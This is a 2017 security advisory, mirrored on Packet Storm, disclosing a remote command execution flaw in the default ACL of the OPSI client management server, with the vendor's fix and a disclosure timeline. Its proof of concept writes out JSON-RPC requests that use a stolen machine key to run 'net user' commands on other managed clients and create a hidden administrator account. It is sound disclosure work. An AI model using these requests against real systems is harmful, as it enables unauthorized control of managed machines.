Lucene search

K
packetstormSimon BieberPACKETSTORM:140809
HistoryJan 31, 2017 - 12:00 a.m.

OPSI Managed Client Remote Command Execution

2017-01-3100:00:00
Simon Bieber
packetstormsecurity.com
59
`Affected Products  
Tested with   
OPSI Server 4.0.7.26  
OPSI ClientAgent 4.0.7.10-1  
(older releases have not been tested)  
According to the vendor all server instances that use a python-opsi version lower  
than 4.0.7.28-4 are affected  
  
References  
https://www.secuvera.de/advisories/secuvera-SA-2017-01.txt (used for updates)  
https://sourceforge.net/p/opsi/mailman/message/35609086/ (announcement by vendor  
in german language)  
No CVE-Number has been assigned yet.  
  
Summary:  
"opsi is an open source client management system for Windows and Linux   
clients and is based on Linux servers" (http://uib.de/en/opsi/about-opsi/)  
The default access control list (ACL) configuration of the OPSI-Server   
shipped with the product prior to Version 4.0.7.28-4 is unsafe so that environ-  
ments using this liberal ACL are vulnerable against remote command execution and  
as a result vulnerable against privilege escalation.  
  
Effect:  
A remote attacker with knowledge of a single machine name and the correspon-  
ding OPSI machine key is able to execute arbitrary commands on any OPSI-  
Managed client in the same managed environment by using the Remote Procedure   
Call (RPC) Interface of the OPSI-Server.   
The attacker is able to use the SYSTEM privileges of the OPSI Agent on any  
managed client computer and execute arbitrary commands leading to an elevation  
of privileges.  
  
Example:  
In this example scenario the attacker has or gained local administrative   
rights to one client computer managed by the OPSI-Client-Agent (e. g. a de-  
veloper that is in need of local administrative rights on his machine).   
The OPSI Server opsiconfd has the options "verify ip" set to "yes" and   
"update ip" set to "no". In the course of testing we figured out that these   
settings have no effect at all.  
With the following steps he is able to gain administrative control over any   
other PC that is managed by the same OPSI Server instance.  
  
1) Get the own machine name and the corresponding machine key:  
Open   
%programfiles(x86)%\opsi.org\opsi-client-agent\opsiclientd\/  
opsiclientd.conf  
and extract the values for the following params: host_id, opsi_host_key,  
url (of the config service)  
  
In this scenario the host_id is pc1.test-network.lan.  
  
2) Issue the following HTTP-Request to get a list of machines managed by OPSI:  
POST /rpc HTTP/1.1  
Host: <OPSI-SERVER-IP>:4447  
Content-Length: 136  
Accept-Encoding: deflate, gzip  
Accept: application/json, text/plain  
content-type: application/json  
Authorization: Basic <"host_id:opsi_host_key" coded in base64>  
Connection: close  
  
{"params": ["*", "", "", "", "", "", "", "", ""], "id": 2, "method":   
"getClientIds_list", "Hostname": "*"}  
  
The Server responds with a list of managed systems.  
E. g.  
HTTP/1.1 200 OK  
Content-Length: 1227  
Set-Cookie: OPSISID=<somerandomvalue>; path=/  
Accept-Ranges: bytes  
Server: Twisted/16.0.0 TwistedWeb/[OPSI.web2, version 0.2.0]  
Date: <date>  
Content-Type: gzip-application/json;charset=utf-8  
Connection: close  
  
  
{"id": 2, "result": ["pc1.test-network.lan", "pc2.test-network.lan",   
"domaincontroller.test-network.lan"], "error": null}  
  
  
3) pick a pc that is not the machine that is originating this request.   
In this example we will use "domaincontroller.test-network.lan".  
  
4) Issue a request that adds a new user account "JohnConnor" with the Password  
"R3sitanceIs4live":  
POST /rpc HTTP/1.1  
Host: <OPSI-SERVER-IP>:4447  
Content-Length: 136  
Accept-Encoding: deflate, gzip  
Accept: application/json, text/plain  
content-type: application/json  
Authorization: Basic <"host_id:opsi_host_key" coded in base64>  
Connection: close  
  
  
{"params": ["C:\\Windows\\System32\\net.exe user /add JohnConnor   
R3sitanceIs4live", "domaincontroller.test-network.lan"], "id": 2,   
"method": "hostControlSafe_execute"}  
  
  
5) Move the newly created user to the local administrative group:  
POST /rpc HTTP/1.1  
Host: <OPSI-SERVER-IP>:4447  
Content-Length: 136  
Accept-Encoding: deflate, gzip  
Accept: application/json, text/plain  
content-type: application/json  
Authorization: Basic <"host_id:opsi_host_key" coded in base64>  
Connection: close  
  
  
{"params": ["C:\\Windows\\System32\\net.exe localgroup Administrators   
JohnConnor /add", "domaincontroller.test-network.lan"], "id": 2,   
"method": "hostControlSafe_execute"}  
  
  
6) Login to domaincontroller.test-network.lan via RDP or if you like: repeat steps  
4 and 5 for every managed client to gain access on them.  
  
  
Solution:  
Update to OPSI Server to Version 4.0.7.28-4 or higher. Make use of the supplied  
default acl.conf.  
  
  
Disclosure Timeline:  
2017/01/09 problem was found during a penetration test  
2017/01/09 vendor contacted via email to [email protected] and [email protected]  
2017/01/10 initial vendor response from [email protected] submitting responsible  
contact details  
2017/01/10 submitted advisory to responsible contact  
2017/01/10 vendor acknowledged problem and sent a fix. Proposed updating access-  
control-lists shipped with product  
2017/01/10 supplied fix was verified solving the problem  
2017/01/12 vendor supplied a more strict version of the fix and details about  
how and when they inform their users  
2017/01/13 vendor supplied a fix for "verify ip" issue  
2017/01/17 vendor publicly announced the fix for ACL and verify ip setting  
2017/01/30 advisory disclosure  
  
Credits  
Simon Bieber, secuvera GmbH  
[email protected]  
https://www.secuvera.de  
  
Thanks to:  
Tobias Glemser & Sven Supper, secuvera GmbH   
and  
Niko Wenselowski, uib GmbH   
for their support.  
  
Disclaimer:  
All information is provided without warranty. The intent is to provide informa-  
tion to secure infrastructure and/or systems, not to be able to attack or damage.  
Therefore secuvera shall not be liable for any direct or indirect damages that   
might be caused by using this information.  
`